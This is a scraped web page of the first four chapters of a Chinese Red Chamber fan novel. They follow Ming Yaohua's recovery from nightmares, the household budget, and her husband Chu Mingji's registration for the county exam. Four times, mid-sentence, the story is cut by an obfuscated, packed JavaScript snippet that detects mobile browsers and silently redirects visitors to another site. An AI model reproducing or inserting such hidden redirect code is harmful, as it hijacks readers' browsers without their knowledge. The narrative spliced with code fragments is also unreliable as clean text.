《红楼之黛玉长嫂》 1. 梦魇 明瑶华漫游在一处华美的天宫仙府，眼前处处雕梁画栋，花团锦绣，有说不清的异香扑鼻，耳边是缥缈悦乐的乐声。 转眼间，她便躺在一张柔软馨香的床榻上，仿若置身云间，好舒服，舒服得她永远不想醒过来，就这样一直沉睡下去。 明瑶华沉浸在繁华舒适的美梦中。 不，不行！这些都是假！快睁眼，睁开眼，赶紧醒过来！ 明瑶华知道她是又梦魇了，全身好像被固定住了，眼皮子睁不开，四肢沉重，动弹不得。 梦中的她努力和说不清道不明的东西相抗衡，额头冒出一层冷汗，不知多了多久，耳边若远若近的乐声也变成了幼弟带着哭腔的叫喊。 “姐姐，姐姐，你快醒醒！快醒过来啊！”小孩儿心中恐惧，不管不顾地嚎哭起来，这道哭声成功将明瑶华拉回了现实。 明瑶华嘴角扯出一抹笑，虚弱地开口：“别怕，姐姐醒了。” 虽然已经醒了，但四肢还不能灵活使唤，说话也带着颤音，但好歹是醒过来了。 虚岁十岁的明甫光已经懂得要面子，背过身擦擦眼泪鼻涕，转身去倒了一杯茶水过来。 候在床边的男子将她的头抬起一些，接过小孩儿倒来的茶，小心地喂到她唇边。明瑶华一口气喝完，解了喉咙都干渴，脑子也清明一些了。她抬眸看向坐在床边的青年男子，房里点着两根蜡烛，晕黄的烛光映照出男子发红的眼眶和紧皱的眉头。 明瑶华半坐起来，男子一语不发，只俯身在她身后放了个靠枕。明瑶华伸手抚了抚他的眉头，故作轻松地笑道：“好了，这么俊的一张脸，别皱着眉了。” 明瑶华心中愧疚，自半个月前她突发梦魇，入睡后四肢僵硬，频繁做梦，夜夜不得安睡。看大夫喝药也不中用，反而因为喝了安神汤，睡梦中也叫不醒，只能硬生生熬着，等醒来后更加疲惫。 睡眠不足加上内心的怀疑恐惧——怀疑世界意识容不下她这个带着前世记忆的穿越者，恐惧世界意识要将她抹除，自己吓自己，连续十多天折腾下来让她憔悴不堪。 就连她身边的亲人跟着忧虑不安，家中的气氛日渐凝重。 楚明霁紧握她的手，声音喑哑，乞求道：“瑶儿，我担心你，你快点好起来，我和光弟不能没有你。我们的家人，只有你了。” 此时已是深夜，万籁俱静，守在她床前的弟弟和夫君都惶然不安，明瑶华心里一酸，目光看到床头帐子上挂着好几个自不同寺庙求来的护身符，安抚道：“别怕，我会好起来的。这两天不是比刚开始的时候好多了吗，只上半夜闹腾一回，下半夜就能安睡了。白天歇晌也不再做梦了。” 她看了眼最新的一个平安符，道：“且你不是说去霞光寺求签，连续三支签子都是逢凶化吉的意头，这一定是佛祖给我们的暗示。” 明甫光眼巴巴的看着她，“真的吗？” 明瑶华捏了捏他的手，“当然是真的，等过些日子姐姐好了，正好赶上中秋，到时姐姐给你做月饼吃。” 明瑶华说的笃定，看着精神头也比昨日好了一些，明甫光半信半疑，最终还是选择相信她，重重地点了下头，“嗯，等中秋节我们一起做月饼吃。” 周遭人家都处于熟睡中，外头漆黑安静，也不知弟弟是睡下了又起来，还是一直强撑着没睡守在她身边，明瑶华看到弟弟两只眼睛下面挂着黑眼袋，催着他回房睡觉：“好了，夜深了。夫君，你送光弟回房休息。” 明甫光还想再守在她旁边，明瑶华笑道：“你这几天的功课欠下多少了？等我好了可是要检查的，你不回去休息好养足精神，怎么有精力补功课。” 这……他这些天在学业上确实懈怠了。 明甫光心虚，乖乖地任由姐夫拉着走了，还不忘抛下一句：“我会补齐功课的。” ＃ 接下来的日子，噩梦断断续续的消退。 直到八月初，明瑶华又是一夜无梦，醒来精神奕奕，不见一点儿梦魇留下的影子。 复请了大夫来诊脉，大夫也说脉搏有力，身体无碍。 一家人俱是松了口气，为庆祝此事，还特地叫了一桌五福酒楼的席面，送到家来。 明甫光又高兴又着急，吃饭的时候大口的往嘴里塞东西。 他的功课落下很多，还没来得及补上。按理每天应该有二十张大字，默写《论语》两章，可他为着姐姐卧病的事，哪儿有心思练字默写，只随意敷衍过去，练的字加起来也就五六十张。 难不成姐姐要看他的功课，他就拿出几十张大字作数？ 实在丢脸。 他要赶紧吃饱去练字背书。 他的两颊被米饭塞得鼓鼓的，明瑶华担心他噎着，忙倒了碗汤推给他，“慢些慢些，吃太快对身体不好。” 楚明霁也有了打趣的心情，轻笑道：“他这是急着去用功呢。” 明甫光被姐夫揭穿了，面露羞赧。 明瑶华在桌下轻轻踢他的脚，面上鼓励道：“不着急，姐姐知道你是担心姐姐，不是故意懒惰，既然是事出有因，慢慢补上也就是了。一天多写两张大字，多默写一篇文章，用不了多久就能补回来了。” “嗯嗯，我听姐姐的。”明甫光猛点头，还横了楚明霁一眼。 楚明霁失笑。 饭罢，明甫光去书房补功课。 明瑶华在院子里走走消食，又去看了大陶缸里游动的几尾鱼儿，神思清明，不免思忖起未来的打算。 说起来他们一家三口如今是相依为命状态，家里大人都没了。 她的母亲卢太太中年产育第二个孩子时元气大伤，撑了两年就去世了。父亲明老爹在妻子逝世后也没续弦，一边教养孩子，一边当教书先生。 他当年也是考中过二甲第二十六名的进士——咳，这是明老爹时时挂在嘴边念叨的，他的人生高光时刻。 后来随着吏部的安排，到陕西做了六年县令，吏部考核评了个优，本来能调到江南富县当县令，但明老爹称病辞官了，带着钱财回家乡买了百来亩良田，当起了富家翁——明瑶华小时候好几次听卢太太提到这事，长吁短叹地喊心口疼，要是明老爹继续当官，凭他的才干，保不齐能给她挣个知府夫人当当。 明老爹总是笑笑，回头或是买一根银簪，或是买一个银手镯回来送给卢太太，卢太太收到首饰心花怒放的，也就不再提什么可惜不可惜的话了。 明老爹回乡安定下来后，就在县城开了个私塾，收了一批七八岁的孩子，但学生来来去去，跟着坚持学下去，有天赋有志向走科举路线的只有楚明霁一人。 楚明霁也从普通学生成了明老爹倾注全部心血的弟子。 楚明霁也没辜负明老爹的期望，十五岁下场考童试，县试和府试都得了好名次，可惜，院试排队进考场时被一个屡试不中的癫狂老童生扭伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353299|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了胳膊，落不得笔，无缘第三场考试。 到这里，虽然略有波折，倒也不算甚大事，横竖楚明霁年轻，只下次院试再从头考就是了。 谁知道转年冬天，明老爹的旧疾突然发作，前后不到一个月就去了。 去之前只来得及将田产低价变卖，得了九百两银子，予明瑶华和明甫光平分。另有早年在府城置办的一座两进的小宅子予明瑶华作嫁妆，一个地段不太好的铺子予明甫光，租金供明甫光日常嚼用，不花楚家一分银钱。 又询问了楚明霁和楚家父母的意见，急匆匆让她和楚明霁成婚——卢太太的娘家在陕西，已经多年不来往了；明老爹是寡母带大的独子，深知明家族人的人品，宁可相信无血缘关系的弟子也不相信所谓的同宗同族的亲人。 处理完明老爹的后事，明瑶华就带着弟弟在夫家过了一段安稳平实的日子。 谁知好景不长。 楚明霁家住县城辖下的秀水村，背山靠水。开年后，楚家父母在端午前两天山上采摘粽叶，没看到草丛里藏着一窝毒蛇，一脚踩上去，双双殒命。 楚明霁和明瑶华在悲痛中处理亲人后事。 谁想到大哥楚雷声就换了副嘴脸，棺木还摆放在屋里，就联合族里长辈要求分家，还指责楚明霁身份不明，“谁不知道你娘是大着肚子嫁到我们楚家的！说是遗腹子，谁知道你爹是不是清白人家。别是地痞流氓、土匪强盗的种，栽赃到我们楚家头上了！” 楚大嫂叫来了娘家一众亲戚，自恃人多势众，扯着嗓子大喊：“我后婆母在大户人家当了十年的丫鬟，被主家配了管事，管事死了又怀着管事的孩子改嫁到楚家。既然不是楚家的骨肉，凭什么分楚家的家业？我就一句话，什么时候分家分清楚了，什么时候给爹娘下葬。” 楚大嫂的娘家亲戚跟着叫嚣道：“说的是，楚家的银钱可不能落到不相干的人手里。” 除了针对楚明霁的身世说嘴，还有说明瑶华克亲的，一嫁过来就把公婆克死了。 又有说明甫光是拖油瓶，靠楚家的钱财养大的。 楚家哥嫂突然发难，打了楚明霁一个措手不及。 这些人口口声声提家业，却不说楚家的家业有一多半是楚母婚后陆陆续续用嫁妆银子置办的。 楚父在家排行第四，上面有三个哥哥。当年楚母嫁给楚父的时候，楚父只有分家得的十二亩好坏参半的地，一座小小的两间泥瓦房。 楚母是姑苏人，自称被主子放了良籍，没有回姑苏本家，而是来投奔嫁到秀水村的姨婆，经媒人撮合嫁给了楚父。姨婆死后楚母和姨婆生的表叔们远了一层，等到楚明霁身上，又远了一层。 这种家务事，向来是谁强谁有理，楚家哥嫂蛮横，族老村长等人也只能调停一二，无法主持公道。 楚明霁势单力孤，在重重逼迫之下，为了父母能顺利安葬，只能在族人的见证下同意分家。 楚家哥嫂占了九成家产，包括家中的青砖房子、百亩良田，楚明霁分得二十亩下等地，兄弟俩算是撕破脸了。 在父母百日之后，楚明霁变卖田亩，带着自个的衣物书籍等物，母亲的遗物，以及明瑶华的陪嫁物件，避居到扬州城里明老爹陪嫁给女儿的宅子里。 就这，要不是有族人劝着说不能闹得太难看，楚大嫂还想不让楚明霁把这些书籍带走。 今年孝期已过，楚明霁尽可以准备下场考试了。 2. 银子 晚上沐浴后，明瑶华翻出了家里的账本和银子——明甫光的四百五十两自不算在内，零零散散一共有五百四十两四钱。 大头是她的嫁妆银子四百五十两，卖地得的一百二十两。 其他的收入是明甫光的铺面租金，每月七两银子，铺面掌柜半年送一次银子，下半年的在前几天刚送来。 楚明霁抄书写信，给画坊画画，一个月能赚三两五两的。 守孝三年，确切来说是两年，此时守孝是从亲人逝世之日算起，到年底算一年，第二年从年头到年尾，第三年则是从年头到忌日那天。 大略算下，这两年约莫用了三百多两银子。每个月收支平衡，没动用到家中积蓄，除了她生病的这一个月，一下子花了七十多两银子，导致二百两出头的支出直接飚到三百两。 继续看账本上记录的支出内容，买粮，买柴，四季衣裳布料，请巷子里针线活出色的嫂子帮忙做衣裳被套的费用，还有读书人所必需的消耗品笔墨纸三样，偶尔买的新书，她平日里买的零嘴，买制造香皂香膏的材料，还有一些数目太小没记到账本上的消费。 这样看下来，明瑶华又觉得很值了。 楚明霁抬脚进房就看到明瑶华双眼放光地数银子，不由觉得好笑：“这是数第几遍了？” 明瑶华下意识道：“第二遍了。” 说完后才反应过来，抬起头，看到楚明霁只穿着白色中衣走过来，更显身形颀长，清爽俊逸，脸上笑眯眯的像个温柔可靠的学长。 待楚明霁挨在她身边坐下，明瑶华把家中资产和他说了，又兴致勃勃道：“几百两银子看着多，但你和光弟都要读书考试，笔墨纸砚、拜师束脩，还有过日子的柴米油盐，都是抛费，还是要想法子多挣钱。我做的香皂香膏，你用着觉得如何？” 守孝期间这两人都是居家自学，以楚明霁的才学教导明甫光是绰绰有余的，只是楚明霁自己也要专注于学习考试，以后总要给明甫光寻个先生的。 明瑶华一向是居安思危的，他们家需要一个细水长流的进项。守孝期间，她做出了好几款香皂香膏，如今家里日常清洁都是用她自制的香皂。做这些东西，知道了原理，难倒是不难，就是配方比例要多次试验，尤其她还想把香皂拿到铺子里去卖，自然要更加用心的试验出可靠的配方。 楚明霁笑道：“自然是极好的，就连齐兄一家用了都赞不绝口，说是用你做的香皂洗手，满手的油脂都洗得干干净净，还香喷喷的。就是咱们家里，一日不用就觉得不舒坦。” 明瑶华也笑了，齐家是屠户，整日杀猪卖猪，对香皂的需求量极大，多次说要花钱买，但因为楚明霁还在孝期，她不想太张扬，加上价钱不好定，多了少了都不好，就没收钱，只是做香皂的时候多做一些，送与齐家。 齐家也不是那种占便宜的，虽没给钱，平日里多有帮衬，且知道她爱吃猪肝，隔三差五的就送一块猪肝来。 闲聊几句，楚明霁便提及了院试，“若无意外，今年的院试是在十月，院试报名的告示过几天也该贴出来了。报名要找廪生作保，考生五人互结，上次是请周夫子居中牵线，我想一事不烦二主，且周夫子的为人品性，师父在时也是赞誉过的，这次便依旧托他帮忙。我在六月时已经托人给周夫子送了信，他也应了的。” 周夫子在县里教了二十多年的书，他找的人必是靠谱的。 他说的井井有条，明瑶华知道他心里头还憋着一股气，这两年在学业上愈发刻苦，和明甫光两个人日夜苦读，少有懈怠，就为了有朝一日出人头地。闻言自是赞同：“这些事情都听你的。只是上门请人帮忙，可要需要备什么礼吗？” “备上四色糕点就行。按惯例是要给介绍人二两银子，不过我和周夫子的儿子从宜交好，直接给钱反倒不好，今年中秋给周家送礼，多备些东西就是了。只上另需要给作保的廪生十两银子，到时作保的廪生需跟着到府城，需要的银子也比县试时多些。”楚明霁说着，白皙如玉的脸皮染上一层红晕，羞赧道：“我读书科举，花费甚大，不知何时能出头，在此之前，要靠娘子养着我了。” 他虽然也有赚取家用，但压根不够养家的，还是要靠妻子贴补才行。 明瑶华一手挑起他的下巴，笑嘻嘻道：“郎君这般仙姿昳貌，便是为了郎君花光了银子，我也心甘情愿。” “你又作怪。”楚明霁脸上更不好意思了，脸上越发燥热。 明瑶华笑得越发得意，突然被身边羞恼的男人拦腰抱起放到床上，耳边只听得轻轻的一句：“既花了小娘子的钱，便以身相许，暂抵债务。” 随后蜡烛被吹灭，只有床上传来窸窸窣窣的一点动静。 ＊ 明瑶华身体好转，家里的日子恢复了往日的平静安宁。 只是外头的却颇有些风言风语。 这日，明瑶华和隔壁齐屠户的儿媳卢氏出门买东西归来，有邻居大娘看到明瑶华健健康康出门走动了，大惊之下念叨着：“明娘子真竟大好了？还是楚相公舍得花银子，请的是济生堂的老大夫，这可是扬州城里最有名气的大夫。不似普通人家，请的草头游医，最后钱没了，人也没了。” 说完她才反应过来，在大病初愈的人面前说这话有些不中听，忙对着自己的嘴巴打了两下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353300|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“瞧我，说的什么蠢话。明娘子你别往心里去，是我这嘴不会说话。” 楚相公已有了童生功名，因守孝居家苦读，保不准什么时候就成贵人了。且就算考不中，只看他在金鱼巷这两年的表现，免费帮着读信写信的，众人敬重，再不能得罪了去。 卢氏当年刚嫁到齐家就也被这个大娘说过闲话，此时虽然说的不是自己，还是免不了恼道：“大娘你也该改改了，整日的这样说人闲话，也不怕有朝一日得罪了不该得罪的人。” 明瑶华手上拎着东西，只想快点回家，因而笑道：“我相信李大娘是无心的，一时嘴快而已，这点子小事自然不会放在心上。不过大娘也该注意着点，万一下次又说了别人，那人偏是个心窄的，大娘就是平白招麻烦了。” “明娘子说的是，说的是。”李大娘讪讪地应了，这两家都是惹不起的，因担心被记恨，她左右张望，见四下无人，凑到两人跟前小声告密道：“这话原也不是我说的，是我隔壁的徐氏说的。她眼看着明娘子你病了，都把她娘家妹妹接来住了十来天了，只等……就把她妹妹说给楚相公。昨天才把她妹妹送走。” “这徐氏看着老实本分，竟然这般恶毒。”卢氏又震惊又气愤，这行为，分明是盼着明姐儿死啊。 李大娘撇了下嘴，道：“能和我老婆子说得来的，能是什么老实本分的人。” 明瑶华抿唇咬牙，防止自己笑出声来——这李大娘，还挺有自知之明的。 等笑意过去，她才道：“多谢李大娘告知，这事我记下了。” 别人家暗地里的谋算，没犯到明面上，明瑶华也不能如何。 和卢氏分开各自进了家门，明瑶华利落地将午饭做好。 用罢午饭，明甫光自去歇息了。 明瑶华端来一壶放凉的酸梅汤，顺口和楚明霁闲说起李大娘那十分有自知之明的好笑表现，楚明霁却是脸色一沉，咬牙道：“这些个愚妇小人，私底下不知说过多少咒你的话。” 他也曾拜访过一二个所谓的神婆半仙，都说他的妻子是命中有大劫，离开是天意，无法挽留。 想到明瑶华因为连日魇症，精力衰竭，气若游丝，一副就要撒手人寰的模样，楚明霁就一阵后怕，对神佛诅咒格外忌讳。而在他日夜心焦时，有人在暗地里盼着咒着她死，楚明霁怒火上涌，对那徐氏有了十分的厌恶。 明瑶华只是随口和他一说，不料惹的他面带怒色，刚要说话安抚，卢氏和她的夫君齐壮上门来了。 齐壮朗声道：“楚弟，楚弟妹。” 白天有人在家，大门只虛掩着，两夫妻熟门熟路的自己进来了。 3. 去周家 齐屠户杀了半辈子猪，积攒下一份家业，唯有一个独子齐壮。 齐壮人如其名，长得高高壮壮，一看就有气势，前些年齐屠户经人指点，花银子托关系，兼之齐壮也有些本事，考过了府衙吏目考试，成了府衙的一名邢房吏员，吃上了公家粮。 “卢姐姐，齐大哥，怎么这时候过来了，太阳正晒呢。”移步正堂，明瑶华招呼二人坐下，倒了两杯酸梅汤放到他们面前，“快喝口酸梅汤，消消暑气。” 因卢氏和明瑶华的母亲同姓，为表亲近，二人便以姐妹称呼。 卢氏端起酸梅汤喝了一口，酸甜可口，一尝就知道是舍得糖的，夸赞道：“比外面卖的好喝。”外面卖的更酸些。 齐壮拿起杯子往嘴里灌了一大口，喜意洋洋道：“恭喜楚弟，府衙已经张贴告示，于八月九日至八月十四日可报名院试，十月二日学政大人亲临扬州，主持院试。” 齐壮在府衙做活，消息灵便，赶着送信来了。 楚家两个读书人，看着都是一副聪明相，就连明娘子看着也是个利落的能干人儿。不说别的，就是那一手做香皂的方子，就足够在扬州城立足了。不趁着这时候结交，难不成还等到人家发达了再贴上去？ 便是不看这些好处，只看他的女儿青姐儿这两年来楚家顽，跟着明娘子认了几百个字，还会背诗，年节回乡下老家让小丫头在长辈面前背诗，多有面子的事。 楚明霁在他大中午进门的那一刻便猜到了，齐壮并不是天天中午都回家的人。毕竟府衙有公厨，用饭是不需要花钱的。 他站起身拱手感谢道：“多谢齐兄告知我。中午日头大，倒让齐兄特意为我跑一趟了。” 这话音里领了他的这份心意，齐壮心里熨帖，连连摆手：“楚弟快坐下，不须言谢。咱们两家处得好，这等大事我知道了不赶紧回来告知与你，我成什么人了？” “你报名是个什么章程，作保的廪生可找好了？” 楚明霁坐下笑道：“都已经托人安排好了。多谢齐兄挂心。” 齐壮连忙道：“楚弟不怪我多事就好。你可是金鱼巷的读书人，你考上了，我们也能沾沾你的喜气。” 卢氏生怕齐壮话说的太过，万一楚明霁没考中场面难看，便岔开话题：“说起来楚兄弟参加科考可是件要紧事，该去寺里上柱香，求佛祖保佑楚兄弟一切顺利。” 楚明霁心头一动。 相传七月中元节鬼门大开，明瑶华梦魇不断又是在七月，他日日心惊胆战，请医问药之余还兼顾求神拜佛，走遍了扬州附近的寺庙道观，求到的都是下下签，个中玄妙让他心惊肉跳。 最后心灰意懒之时，在霞光寺求到了一支中吉签，绝望之中得了一缕希望，回家后明瑶华果然身子一日好过一日。 提到寺庙上香，他瞬间想到的就是霞光寺，打定主意要去再拜一拜，因而道：“齐嫂子说的是，家里是打算去一趟城外的霞光寺。” 明瑶华疑惑地看他一眼。 卢氏笑道：“霞光寺好啊，虽说在扬州的名气不算大，可也是百年老寺了，我家中祖母在时最常去的就是霞光寺，说是那儿的签文最灵验。霞光寺还有一湖好荷花，清晨的霞光和盛放的荷花，看着就漂亮。可惜就是远了些，坐车去也要一个多时辰，要想观赏荷花，最好在寺里留宿一晚，不然急匆匆的没个趣味。” 明瑶华来了兴致：“卢姐姐说的这样好，我都想立刻去看看了。” 卢氏失笑：“倒也不必急，荷花的花期还有好些天呢，够你看的。” 急也急不来，要先寻周夫子帮忙找人作保，去府衙报名院试才行。 次日，楚明霁就拿银子去糕点铺子买了四色糕点，雇了驴车前往周夫子家。 周夫子家在清宁县，距离扬州城不远，沿着官道，驴车跑一个时辰就到了。 熟悉的县城逐渐出现在眼前，楚明霁长吸一口气，忍下心中骤然升起的复杂情绪，笑着告诉车夫向左转弯。 到了地方，是一所三进的青砖宅子。 周夫子祖上做过粮食生意，颇有家资，只是商户不许科举，周家想改换门庭，只得弃了生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353301|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意，买田买铺子，耕读传家。周夫子考到三十岁还是个秀才，自觉科举无望，转而开私塾，倒是教出了十几个秀才，还有两个考上了举人。 周夫子的大儿子亦是秀才，去了别处县衙某职，小儿子年十八，倒是在科举上有天资，之前差点火候院试未过，正要参加这一次的院试。 周家看门的还是刘应，一见楚明霁，惊讶地喊起来：“楚大爷来了，哎哟，我们老爷让我今日警醒着点，有贵客登门，想来那贵客就是楚大爷您了。” “刘叔，许久不见了。”楚明霁熟络地道，他和周从宜时常往来，他师父在时和周夫子也有些交情，他算是周家的熟客了。 “快请进来，老爷备好了茶，正等着您呢。”刘应直接带他进内院正堂，周夫子的大儿子带着儿媳在外居住，二女儿嫁人了，小儿子周从宜未娶亲，无甚可避嫌的。 车夫自有下人招待。 周夫子和周太太得了下人通报，已在堂中等候。 楚明霁见礼问好，三人分宾主坐下，桌上摆着热茶，散发袅袅烟雾。 周太太率先问道：“瑶姐儿怎么没跟来？” 楚明霁不好意思道：“家中没有长辈，一切琐事都靠她操持，因而不得空来拜见周伯母。” 周太太只是随口一问，因而笑道：“无事，左右日子还长，总有见面的时候。” 那厢周夫子和蔼笑道：“你这两年时常和从宜书信往来，你寄给从宜的文章我也看过了，看得出来你私下没有懈怠，文章更有进益了。” 楚明霁谦逊道：“我守孝在家，所思所想皆是不辜负父母和师父的教诲，不敢偷懒。” 周夫子知道他家里的那点事，宽慰道：“过去的事已经过去了，要着眼将来，你以后出息了，有那些人后悔的。” 父母一死就将弟弟扫地出门，在周夫子这样的家族长辈看来，实在可恨，长子占大部分家产是常事，但是多少也要给底下的幼弟分一份。若是这事发生在他家，他真是死了也不能瞑目。 楚明霁愣了愣，只是苦笑不语。 4. 茶叶（修） 周夫子怜惜这个芝兰玉树的青年，还是决定把知道的楚家兄嫂的消息说出来，让他心中有数：“你那兄嫂，我听人说，他们将你的侄子送到城西吴家族学启蒙了。” 吴姓是扬州的大姓，连续出过进士高官，现今吴家长房的吴大老爷在京任工部左侍郎，旁支亦有在外任县令的，彼此守望相助。吴家族学背靠高官亲戚，在清宁县一向有名，束脩收的也是最贵的。当然，教出来的学生里考上秀才、举人的也多。 楚明霁搬去扬州城后就和秀水村没了联系，还真不知道这事。 原来如此！ 楚明霁恍然大悟，好像一层由疑惑编织成的迷雾散去。 此前他还真想不到这一层。 是了，弟弟再有出息，也比不上儿子有出息。 在兄长露出恶相，逼迫分家时，他伤心、震惊，还有不解。他初次下场童试就连连告捷，院试时要不是发生意外，他已经是秀才了。在大景朝，秀才可免六十亩土地赋税，免除徭役杂役。兄嫂重视财物，可说白了，他要是考中秀才功名，这个秀才功名也算得上是楚家的财产。 兄嫂竟然舍得放弃？ 原来是另有打算。 他在家时得闲也教过侄儿认字，背三字经一类幼儿启蒙书籍，对小侄子说过一些读书考状元之类的话。 看来兄嫂是听到心里去了。 楚明霁沉默片刻，平静道：“多谢伯父告知，不过我和兄长已经分家，便是两家人了，兄长的家事，我不敢过问。” 他是不愿再和兄嫂往来了。 父母去后，就只有妻子和妻弟是他的家人。 周夫子也是个人精，见他不愿多提，转而说起院试的事，他捋了把胡子，道：“我已经找好了一位陈廪生，结保的除了你和从宜，还有汪武、姚俊成、季则三人。汪俊是县丞家的孩子，姚俊成伯父是县里的富户，季则是农家子，都是家世清白、人品可靠的孩子。” “我已经让从宜去请他们来了，一会儿你们见一面，明日再一同去府衙报名。” “多谢伯父费心了。”楚明霁站起来躬身行礼，感激道。 科举艰难，每一步都必须小心翼翼，互相结保之人更是重要，最好是知根知底的，就怕有人脑子发昏，做出什么不该做的事来。 不然就要如同楚明霁这般，寻个有声望有资历的人帮忙。陈廪生为他向官府作保，周夫子何尝不是为他向汪姚等人作保？ 周夫子暗暗点头，叫他坐下，“些许小事罢了。你们都是清宁县的人，以后更要相互扶持。” 说话间，周从宜领着一众同伴回来了，远远就听到有声音传来。 周太太趁人还未到，悄悄赶往后面厨房去了。 汪俊一进正堂，第一眼瞥见的是同龄少年俊郎清越的面孔，目若朗星，气度出众，只是一照面，就无端令人心中想起“翩翩君子，温润如玉”八个字，生出此人可交可信之感。 他端正坐着，脊背挺直，身上穿着浆洗过的青色布衫，但并不会畏缩自卑，反而更衬出他的风姿傲骨。 汪俊自恃是县丞之子，本人又才学出众，被家人师长夸着捧着长大，对上他自然是恭敬有礼，对下便有些轻慢无视。 姚俊成伯父是县令的座上宾，他就和姚俊成平等相交；季则是农户出身，举止行为带着一股穷酸气，他难免轻视。 他原以为楚明霁是和季则一类人，如今见面，才知是他谬误了。 几人先向周夫子问好，各自落座后，周从宜居中介绍，三言两语中，几人对彼此的家世都有了基础的了解。 姚俊成生得一张圆脸，看着就是一副好脾气，看起来不是第一次来周家了，他端起桌上婢女端上来的茶，大饮了半碗，舒坦道：“周伯父家的茶叶可是明前毛尖？我伯父也爱喝这个茶。” 周夫子笑呵呵道：“你舌头倒是灵，这是最后半包茶叶了，喝完就只有雨前毛信了。” 汪俊笑着接道：“是我们偏了伯父家的好茶了。” “好茶配俊才，给你们喝了，才算是不辜负这茶叶。” 周夫子这话把在场的人都捧到了。 季则拘束的神色也松展开来。 一时几人聊起了茶叶，好茶叶动辄一金一两，不是普通人家喝得起的，季则的脸色又绷紧起来。 偏偏汪俊故意去问季则：“长则兄，你家中日常喝的什么茶叶？” 季则浑身僵住，顿了几息，在所有人都注视中，嘴角挤出笑，扯谎道：“我家中日常爱喝铁观音。” 季则家贫，乡下村户人家，家里的茶叶是自家在山上采摘的野茶，就这还是预备着有客人来招待客人的，平时自家人解渴都是喝稀粥米汤，或者干脆在直接喝井里打上来的井水。什么名茶贡茶，他听也没听说过。铁观音这个茶名还是他考中府试，村中里正请他去家中吃饭，席后上的茶，那时里正同他说这是安溪铁观音，二两茶叶就要一两银子。他家是不舍得花一两银子买茶叶的。 季则的手指微动，想要攥紧拳头，死死忍住了。来周家之前他踌躇满志，畅想着来日考中秀才，扬眉吐气。汪俊父亲是县丞又如何，他凭借着自己的努力，还不是坐到了他旁边的位置。 但汪俊的一个询问，撕开了他的那层遮羞布，他家贫，比不得他们，他和他们是不一样的！ 楚明霁喝过的好茶少，只是听着，并不发话，却不妨季则转而若无其事地问他：“不知楚兄偏爱哪种茶？” 楚明霁坦然道：“我喝茶只为解渴提神，山间野茶还是各地名茶，在我看来无甚区别。说起好茶来，我懂的不如大家多。” 顿了顿，他又笑道：“我看茶圣陆羽的《茶经》里说，好茶须好水来配，咱们扬州的大明寺井就是他极力推荐的一处好水源。” 汪俊立刻赞许道：“楚兄真是博闻强识。《茶经》我也翻看过，却没记住有这一茬。要是哪日得闲了，咱们带上好茶叶去大明寺，用寺里的井水煮茶品茗，定是一大乐事。” 陈廪生也道：“我看古籍中有记载，收集冬日梅花上的雪水烹茶，滋味不俗。” 一时间几人说得兴致勃勃。 季则听着他们聊什么山泉水、雪水的，插不进去一句话，尴尬得如坐针毡。 他看楚明霁的衣着平常，本以为他和自己一样，肩负着家人的期望，把全部心思放在读书上，没想到他这样不知轻重，还看什么《茶经》这样的闲书。偏他对此一窍不通，插不进去话，只能讪讪地听着。 好在这时，周太太及时遣丫鬟来，说备好了酒菜，请各位移步花厅用饭。 季则狠松了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353302|167983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 饭罢，已到了申时。 因还要赶回城里，楚明霁向周夫子提出辞别。 周从宜在一旁听到了，忙道：“不如今晚留宿在我家，明早也好一同去府衙。今晚我们抵足而眠，还可以探讨文章。” 楚明霁摇了摇头，解释道：“我是雇车来的，来时和车马行的人说好了酉时前回去，不好失信于人。” 此话一出，周从宜也不好强留他了，只能约定好了明日巳时在府衙门口见面。 八月九日巳时中，楚明霁在府衙门口和其余五人会和。 随后进到府衙礼房，填写亲供，领取浮票后，已经接近午时了。 因各有安排，楚明霁和周从宜几人便在府衙门口分别。 想到方才填写亲供时，府衙户房抱怨还有个别县的夏粮还没收上来，汪俊脱口而出的一句“地里扒食的农户不经圣人教化，要交粮税可不是要他们的命一般”，瞬间季则脸色大变。 